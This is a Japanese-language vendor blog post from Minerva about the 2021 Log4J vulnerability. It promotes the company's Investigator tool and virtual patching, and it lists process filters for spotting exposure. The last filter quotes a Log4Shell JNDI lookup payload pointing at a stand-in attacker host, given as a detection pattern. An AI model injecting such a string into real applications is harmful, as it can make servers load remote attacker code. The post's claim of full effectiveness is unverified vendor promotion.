Log4J 脆弱性による Minerva ユーザーのための対策メッセージ
2021 年 12 月 20 日 Minerva のブログから

Log 4J に関してインターネット上で公表されたとき世間ではかなり深刻なことで取り沙汰されましたが、特に Log4J の脆弱性に影響がないユーザーにとっては、詳細な状況把握は必要ないでしょう。今回のブログでは Minerva ユーザーがどのように Log4J の脆弱性から守るために説明をします。

Log4J ライブラリーに掲載されているところによると、Log4J を使用しているアプリケーションは、全ユーザーにセキュリティに影響を及ぼします。Minerva はリスクを抑えるのにとても有効ではありますが、現状の世の中では、全てのカスタマーとアプリケーションに対応する万能なソリューションはないのかもしれません。

さてMinervaは Investigator（インベスティゲーター）ツールというものがあり、Log4J を使用しているすべてのアプリケーションを素早く効率的に見つけ出し、Minervaが提供する仮想パッチング（ベンダーから提供される公式パッチングリリース前に脆弱性のあるアプリケーションを隔離）でマルウェア感染の防御対策を行います。

Minerva の多くのユーザーがこのアプローチを実装してからポジティブな好評を得ています。
Log4J の脆弱性で攻撃にさらされたという Minerva ユーザーは現状おりません。
つまり Minerva 製品は Log4J の脆弱性に対して有効な効果があるということです。

以下は Investigator(インベスティゲーター)機能でフィルタリングをしてみることで影響があるかどうか判断できる材料となります。

1. Log4J が含まれるプロセス名が存在する
2. Log4J が含まれるプロセスコマンドラインが存在する
3. ${jndi:ldap://attacker.com/a}含むプロセスコマンドラインが存在する

Minerva 製品(Minerva Armor)についてのお問い合わせは Pico Technologies (info@pico-t.co.jp)までお願い致します。